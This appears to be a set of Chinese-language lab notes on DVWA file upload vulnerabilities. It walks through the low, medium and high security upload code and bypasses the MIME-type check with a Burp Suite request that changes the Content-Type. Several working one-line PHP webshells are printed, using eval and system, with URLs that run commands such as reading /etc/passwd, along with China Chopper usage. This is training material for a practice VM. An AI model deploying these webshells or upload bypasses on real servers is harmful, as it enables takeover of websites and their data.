1.文件上传漏洞渗透及防御(OWASP实战训练)
- OWASP
- upload上传漏洞
- 实验一:低安全模式下,上传任意类型的文件,文件大小不受限制
- 实验二,安全级别调整将其变为中等安全级别
- 实验三:将其设为高安全级别
OWASP
https://sourceforge.net/projects/owaspbwa/files/
上方地址为靶机OWASP的最新下载地址
DVWA的界面密码是admin admin 进入后就有
我们一般用damn vulnerable web App这个模块来练习
在DVWA页面上有很多的漏洞,模拟了糟糕的开发人员开发的程序
upload上传漏洞
在选择图片上传时有个漏洞,选择图片上传时上传成功了,而选择一个PHP程序时也上传成功了,理论上是不应该有这个漏洞的,但是因为开发人员没有做出这个检测,本身应该上传其要求的文件类型,但上传任意文件类型,其中就包含我们的木马程序,这就是文件上传漏洞。
本身上传
一句话木马上传后,使用菜刀就能控制
有时可能不会犯错,但有很多业务线,很多网站有主站和子站,子站可能会犯错。
就本身文件上传无论是博客还是论坛,都应具备的行为,上传头像、附件、图片、视频都是正常的,但如果有人恶意上传PHP、ASP、java、python等文件绕过了web应用而且顺利执行,这样就能拿到webshell,一旦拿到webshell就能拿到web应用数据删除网站甚至是做进一步提权进入此系统中,特别是webshell可以和后面的sql注入相结合。
文件上传本身是正常的,但如果我们没有做合理的过滤和检测而导致用户绕过web应用上传一些程序文件这就是漏洞。
实验一:低安全模式下,上传任意类型的文件,文件大小不受限制
刚刚upload就是个例子,在DVWA security有个安全级别设置low,特别糟糕的开发人员设计的程序。
1,靶机设计安全等级,DVWA security
2,右下角有个查看源代码,在低安全下面的代码很简单
<?phpif (isset($_POST['Upload'])) {$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path = $target_path . basename( $_FILES['uploaded']['name']);if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';} else {echo '<pre>';echo $target_path . ' succesfully uploaded!';echo '</pre>';}}
?>
上方源代码是post提交,提交的主目录是在"hackable/uploads/路径下,目标名字,并且这里并没有做任何检测,有对象就上传成功,没有对象就上传失败,是个非常糟糕开发者
PHP源码是后端语言,在前端是看不到的
Nigx是webserver只能处理静态资源,网站有动态,需要PHP中间件php-APM
网站请求静态资源,是HTML,css,js图像等,Nginx直接从磁盘弄出来返回客户端有浏览器渲染就有了页面。
现在客户端请求PHP程序,Nginx受到请求,看到后缀为PHP,通过一种方式去找PHPAPM,PHPAPM对程序执行,执行后(就变成了静态的东西了)将结果交给Nginx,在客户端永远看不到后台的代码的,看到的始终是静态的结果。
客户端和Nginx之间的通信用的是http协议或HTTPS,Nginx和中间件使用的是fast_cgi协议。此处的view source查看的是后端PHP源码,在正常网页上是看不到的。
这是个靶机每步都有响应,比如上传图片成功了会响应,后端源码我们是看不到的,只有用爬虫爬下来才能看到。爬取网站前端后端都爬下来。
我们有个PHP一句话木马,在G:\网络安全学习笔记\web安全白帽子\中国菜刀及一句话木马下,可将其上传。
下面是刚才木马文件上传的路径,http://192.168.0.106/dvwa/hackable/uploads/shell1.php
下面使用中国菜刀,运行jar包,在菜刀内添加一个url,右键有文件管理,也有虚拟终端,如果被人上传了这种文件是可怕的,别人可以连接你的服务器对你的网站系统管理,到底什么权限过会再讲。
后台源码基本无检测,不关注文件的后缀内容等,如果过上传的恶意木马就能通过菜刀或者相应的软件进行链接对此机器。
实验二,安全级别调整将其变为中等安全级别
提交后还是按照之前的套路上传下,我们可以把之前的shell删除,靶机的网站结构还是比较清楚的。使用Xshell在目录下将木马删除
rm -f shell1.php
安全等级变为中等后可以上传图片,试一下能否正常显示,
http://192.168.0.106/dvwa/hackable/uploads/cha.jpg可以
在此选择shell1的PHP文件上传,会显示图片并未上传,此时再看一下他的源码,这个源码就要限制,如果上传的文件不是image/jpeg就不会上传
在MIME类型(上网查),content-type,上传失败是限制了类型,PHP是App应用类型。
<?phpif (isset($_POST['Upload'])) {$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";$target_path = $target_path . basename($_FILES['uploaded']['name']);$uploaded_name = $_FILES['uploaded']['name'];$uploaded_type = $_FILES['uploaded']['type'];$uploaded_size = $_FILES['uploaded']['size'];if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {echo '<pre>';echo 'Your image was not uploaded.';echo '</pre>';} else {echo '<pre>';echo $target_path . ' succesfully uploaded!';echo '</pre>';}}else{echo '<pre>Your image was not uploaded.</pre>';}}
?>
我们有个方法对此类型进行修改绕过它,不是改文件的后缀,接下来我们要用到burpsuite这个软件,它的功能非常强大,如代理,拦截,爬虫,及漏扫,攻击于一体的软件非常强大。
我们可以用burpsuite拦截请求更改内容再上传就能上传成功了,要将火狐或者IE的代理指向burpsuite否则请求不会走向这边。直接转发是没有用的。
我们直接在kali中的火狐中启动代理就行,burpsuite只有专业版有漏洞扫描,此时只用其代理拦截功能,至于漏扫后面会讲。今天只是第一次打交道。
Proxy代理,spider爬虫,scanner漏扫。
在proxy下intercept拦截功能打开请求就被拦截了,画面就不出现了,将拦截功能关闭又能使用浏览器访问了,但是代理功能还是开着的,请求还是通过这个代理走的。只是没有拦截下来。
这个代理不见得只是这个机器内部使用,默认情况是工作在本地的,火狐修改代理配置后可以使用。可以改proxy的option来更改代理。
1,首先将intercept关闭,使用火狐打开网站,在上传文件前将intercept打开
2,选择shell的PHP一句话木马文件上传,使用burpsuite抓包如下
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.0.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------18467633426500
Content-Length: 452
Origin: http://192.168.0.102
Connection: close
Referer: http://192.168.0.102/dvwa/vulnerabilities/upload/
Cookie: security=medium; PHPSESSID=nsvh9mt44vjrocftrhpn5v5374; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Upgrade-Insecure-Requests: 1-----------------------------18467633426500
Content-Disposition: form-data; name="MAX_FILE_SIZE"100000
-----------------------------18467633426500
Content-Disposition: form-data; name="uploaded"; filename="shell1.php"
Content-Type: application/octet-stream<?php @eval($_POST['chopper']);?>
-----------------------------18467633426500
Content-Disposition: form-data; name="Upload"Upload
-----------------------------18467633426500--
注意此时将Content-Type: application/octet-stream的文件类型更改为
Content-Type:image/jpeg,接着点击转发forward,过没过去可以通过网页下方显示看到。…/…/hackable/uploads/shell1.php succesfully uploaded!
这个主要是通过更改类型Content-Type来达到欺骗服务器的目的,而木马文件的后缀是没有更改的。现在用菜刀也是可以连接上的。此时若不想使用拦截可将其关闭。
这是通过修改文件的MIME类型达到欺骗服务器的目的,每个文件都有MIME类型。
中安全级别下面如何上传这样的一个类型,我们稍微绕了一下并不是通过刚才直接上传,通过代理软件将其拦截并修改转发。
实验三:将其设为高安全级别
再此查看源代码,发现这次限制的不是MIME文件扩展名了,限制的是文件的后缀,只能上传jpg等图片格式。限制的太死了。上传之前将上次的一句话木马删除保证公正。
<?php
if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename($_FILES['uploaded']['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){ if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path . ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } } ?>
现在按照第二种更是改文件类型是不行的,因为限制的是后缀,所以不打算改了。那能filename="shell1.php.jpg"可以吗,上传是可以的,但是无法使用的。此处是无法识别显示的,菜刀连接此路径虽然能连接上,只能看一些文件结构,但不能在里面操作,但是真实实验是不可以使用的。
看结构也很简单,爬虫一爬就能看到了。
低安全级别无任何限制
中安全级别文件类型MIME限制(content-type)
高安全级别限制后缀(现在感到为难了)
暂时不管,认识webshell木马程序(可以上传到网站也可以上传到数据库中)
目前上传到网站中去还有很多种方式。
Webshell
小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵检测系统检测到
下面准备了两个脚本,
设立了
shell2.php #eval 使用PHP函数,例如PHPinfo
<?php eval($_REQUEST['cmd']);?>
http://192.168.0.102/dvwa/hackable/uploads/shell2.php?cmd=phpinfo();Shell3.php #system 使用Linux系统命令,列如ls,cp,rm
<?php system($_REQUEST['yangge']);?>
http://192.168.0.102/dvwa/hackable/uploads/shell2.php?yangge=cat /etc/passwd
此时是高安全级别,是上传不上去的,我们现改为低级别上传一下
将shell2上传,注意shell2的eval调用的是PHP的函数,而system调用的是系统命令,?是传递参数,PHPinfo是用来打印整个PHP信息的。
那如果是shell3呢,注意yangge= 后面跟的是系统命令可以用ls会输出当前目录下的目录,或者id展示当前用户名。Id是哪个用户运行的Apache。
我们可以在Xshell运行以下程序查看此机器运行的权限
root@owaspbwa:~# ps aux | grep apache
root 1037 0.0 1.3 49544 14136 ? Ss 01:16 0:00 /usr/sbin/apache2 -k start
root 1070 0.4 5.9 285588 61488 ? Sl 01:16 0:04 /usr/lib/jvm/java-6-openjdk/bin/java -Djava.util.logging.config.file=/var/lib/tomcat6/conf/logging.properties -Djava.awt.headless=true -Xmx128M -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs=/usr/share/tomcat6/endorsed -classpath /usr/share/tomcat6/bin/bootstrap.jar -Dcatalina.base=/var/lib/tomcat6 -Dcatalina.home=/usr/share/tomcat6 -Djava.io.tmpdir=/tmp/tomcat6-tmp org.apache.catalina.startup.Bootstrap start
www-data 1102 0.0 1.0 51308 10580 ? S 01:16 0:00 /usr/sbin/apache2 -k start
www-data 1103 0.0 1.0 51392 11176 ? S 01:16 0:00 /usr/sbin/apache2 -k start
www-data 1104 0.0 1.0 51396 11028 ? S 01:16 0:00 /usr/sbin/apache2 -k start
www-data 1105 0.0 1.1 51540 12112 ? S 01:16 0:00 /usr/sbin/apache2 -k start
www-data 1106 0.0 1.0 51308 11088 ? S 01:16 0:00 /usr/sbin/apache2 -k start
root 2122 0.0 0.0 3328 808 pts/0 S+ 01:32 0:00 grep apache
在此机器,www-data是普通用户,现在webshell拿到的权限是www-data的权限,拿到的权限就到此为止了,除非再做后面的提权,现在想做其他地方也看不了,在yangge=ls /root
上是看不了的,而读权限yangge=cat /etc/passwd
是可以的,那如果输入yangge=echo “ssss” > /tmp/file1
在tmp下建立一个file1的文件,是可以的,用Xshell可以查看到这个。输入命令,只要有权限就能执行,这种执行方法,相对于中国菜刀来讲有点low,需要在地址栏一个一个敲是麻烦的。
中国菜刀
<?php @eval($_POST['chopper']);?>
说明:REQUEST是在网页端输入变量访问,POST则是使用像中国菜刀之类的工具连接,是C/S架构。
使用菜刀时要注意右键更新缓存。
上面的一句话木马可以精简到下面
<?php eval($_POST[1]);?>
这就是shell5的代码。